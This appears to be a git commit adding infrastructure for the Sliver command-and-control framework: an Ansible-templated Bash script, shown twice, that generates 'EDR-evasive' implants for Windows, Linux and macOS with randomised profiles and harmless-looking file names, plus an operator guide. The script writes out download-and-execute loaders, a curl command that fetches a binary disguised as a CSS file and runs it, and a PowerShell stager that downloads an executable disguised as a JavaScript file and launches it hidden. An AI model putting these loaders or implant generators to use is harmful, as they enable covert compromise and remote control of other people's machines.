working on getting custom sliver running
This commit is contained in:
n0mad1k
@@ -0,0 +1,155 @@
|
||||
#!/bin/bash
|
||||
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Create a new Sliver profile with redirector-compatible paths
|
||||
create_profile() {
|
||||
local type=$1
|
||||
local profile_name="profile-${type}-$(random_string 8)"
|
||||
|
||||
# Use paths that match the redirector NGINX configuration
|
||||
local http_path1="/ajax/$(random_string 8)"
|
||||
local http_path2="/static/js/$(random_string 6).js"
|
||||
|
||||
local interval=$(( 30 + RANDOM % 120 ))
|
||||
local jitter=$(( 10 + RANDOM % 35 ))
|
||||
|
||||
# Use sliver-client to create a new profile
|
||||
echo "[+] Creating profile: $profile_name"
|
||||
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
||||
|
||||
echo $profile_name
|
||||
}
|
||||
|
||||
# Generate implant using existing profile
|
||||
generate_implant() {
|
||||
local profile_name=$1
|
||||
local os_type=$2
|
||||
local arch=$3
|
||||
local format=$4
|
||||
local output_name=$5
|
||||
|
||||
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
||||
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
||||
}
|
||||
|
||||
# Random output filename generator
|
||||
random_output_name() {
|
||||
local type=$1
|
||||
local names=(
|
||||
"update" "service" "client" "agent" "app" "system"
|
||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||
)
|
||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||
|
||||
case "$type" in
|
||||
windows) echo "${name}.exe" ;;
|
||||
windows_dll) echo "${name}.dll" ;;
|
||||
linux) echo "${name}" ;;
|
||||
darwin) echo "${name}" ;;
|
||||
*) echo "${name}" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
||||
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 host: $C2_HOST"
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(create_profile "windows")
|
||||
win_output=$(random_output_name "windows")
|
||||
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(create_profile "windows_dll")
|
||||
dll_output=$(random_output_name "windows_dll")
|
||||
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(create_profile "linux")
|
||||
linux_output=$(random_output_name "linux")
|
||||
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||
|
||||
# macOS binary
|
||||
mac_profile=$(create_profile "darwin")
|
||||
mac_output=$(random_output_name "darwin")
|
||||
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||
|
||||
# Generate stagers
|
||||
stager_profile=$(create_profile "stager")
|
||||
stager_win=$(random_output_name "windows")
|
||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
echo "#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = "SilentlyContinue"
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create index of generated files
|
||||
echo "[+] Creating reference file with beacon details"
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Profile: $win_profile)
|
||||
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||
EOF
|
||||
|
||||
# Cleanup temporary files
|
||||
rm -rf $TEMP_DIR
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
@@ -0,0 +1,155 @@
|
||||
#!/bin/bash
|
||||
# Corrected EDR-evasive beacon generator with templated redirector integration
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Create a new Sliver profile with redirector-compatible paths
|
||||
create_profile() {
|
||||
local type=$1
|
||||
local profile_name="profile-${type}-$(random_string 8)"
|
||||
|
||||
# Use paths that match the redirector NGINX configuration
|
||||
local http_path1="/ajax/$(random_string 8)"
|
||||
local http_path2="/static/js/$(random_string 6).js"
|
||||
|
||||
local interval=$(( 30 + RANDOM % 120 ))
|
||||
local jitter=$(( 10 + RANDOM % 35 ))
|
||||
|
||||
# Use sliver-client to create a new profile
|
||||
echo "[+] Creating profile: $profile_name"
|
||||
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
||||
|
||||
echo $profile_name
|
||||
}
|
||||
|
||||
# Generate implant using existing profile
|
||||
generate_implant() {
|
||||
local profile_name=$1
|
||||
local os_type=$2
|
||||
local arch=$3
|
||||
local format=$4
|
||||
local output_name=$5
|
||||
|
||||
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
||||
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
||||
}
|
||||
|
||||
# Random output filename generator
|
||||
random_output_name() {
|
||||
local type=$1
|
||||
local names=(
|
||||
"update" "service" "client" "agent" "app" "system"
|
||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||
)
|
||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||
|
||||
case "$type" in
|
||||
windows) echo "${name}.exe" ;;
|
||||
windows_dll) echo "${name}.dll" ;;
|
||||
linux) echo "${name}" ;;
|
||||
darwin) echo "${name}" ;;
|
||||
*) echo "${name}" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
||||
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 host: $C2_HOST"
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(create_profile "windows")
|
||||
win_output=$(random_output_name "windows")
|
||||
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(create_profile "windows_dll")
|
||||
dll_output=$(random_output_name "windows_dll")
|
||||
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(create_profile "linux")
|
||||
linux_output=$(random_output_name "linux")
|
||||
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||
|
||||
# macOS binary
|
||||
mac_profile=$(create_profile "darwin")
|
||||
mac_output=$(random_output_name "darwin")
|
||||
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||
|
||||
# Generate stagers
|
||||
stager_profile=$(create_profile "stager")
|
||||
stager_win=$(random_output_name "windows")
|
||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
echo "#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = "SilentlyContinue"
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||
\$outpath = "\$env:TEMP\\$(random_string 8).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create index of generated files
|
||||
echo "[+] Creating reference file with beacon details"
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Profile: $win_profile)
|
||||
- Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
- Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
- macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||
EOF
|
||||
|
||||
# Cleanup temporary files
|
||||
rm -rf $TEMP_DIR
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
@@ -0,0 +1,73 @@
|
||||
# File: templates/sliver-guide.j2
|
||||
# Sliver C2 Framework Usage Guide
|
||||
|
||||
SLIVER C2 OPERATIONS GUIDE
|
||||
==========================
|
||||
|
||||
This guide provides information on using the randomized Sliver C2 server deployed on
|
||||
your infrastructure.
|
||||
|
||||
SERVER INFORMATION
|
||||
-----------------
|
||||
C2 Server IP: {{ c2_ip }}
|
||||
Redirector Domain: {{ redirector_domain }}
|
||||
Operator Config: /root/admin.cfg
|
||||
|
||||
CONNECTING TO THE SERVER
|
||||
-----------------------
|
||||
1. From your operator system, import the operator config:
|
||||
$ sliver import /path/to/admin.cfg
|
||||
|
||||
2. Connect to the server:
|
||||
$ sliver
|
||||
[*] Loaded 1 operator profiles
|
||||
sliver > use admin
|
||||
[*] Set active profile admin ({{ c2_ip }}:31337)
|
||||
sliver > connect
|
||||
[*] Connected to {{ c2_ip }}:31337 (admin)
|
||||
|
||||
USING THE SERVER
|
||||
---------------
|
||||
Once connected to the server, you can:
|
||||
|
||||
1. List generated implants:
|
||||
sliver > implants
|
||||
|
||||
2. Start a listener for HTTP connections:
|
||||
sliver > http -d {{ redirector_domain }} -L 0.0.0.0 -p 8888
|
||||
|
||||
3. Start a multiplayer session:
|
||||
sliver > mtls -L 0.0.0.0 -p 31337
|
||||
|
||||
IMPLANT RESOURCES
|
||||
----------------
|
||||
Pre-generated implants are available in:
|
||||
- /opt/beacons/
|
||||
|
||||
These implants are already configured to connect through the redirector at
|
||||
{{ redirector_domain }}.
|
||||
|
||||
To serve these implants for download:
|
||||
- A Python HTTP server is running on {{ c2_ip }}:8443
|
||||
- Implants can be delivered through the redirector at {{ redirector_domain }}/downloads/
|
||||
|
||||
TIPS FOR OPSEC
|
||||
-------------
|
||||
- All connections go through the redirector
|
||||
- Beacon intervals are randomized (30-150 seconds)
|
||||
- Traffic is disguised as legitimate web requests using common paths
|
||||
- Use HTTPS for all communications
|
||||
|
||||
To regenerate beacons with different properties:
|
||||
$ /opt/c2/generate_evasive_beacons.sh
|
||||
|
||||
TROUBLESHOOTING
|
||||
--------------
|
||||
1. If implants can't connect:
|
||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||
- Check NGINX configuration on the redirector
|
||||
- Ensure ports 8888 and 443 are open on respective servers
|
||||
|
||||
2. If Sliver server isn't responding:
|
||||
- Check service status: systemctl status sliver
|
||||
- View logs: journalctl -u sliver
|
||||
@@ -6,7 +6,7 @@ After=network.target
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=/root/.sliver
|
||||
WorkingDirectory=/root/.sliver-server
|
||||
ExecStart=/usr/local/bin/sliver-server daemon
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
Reference in New Issue
Block a user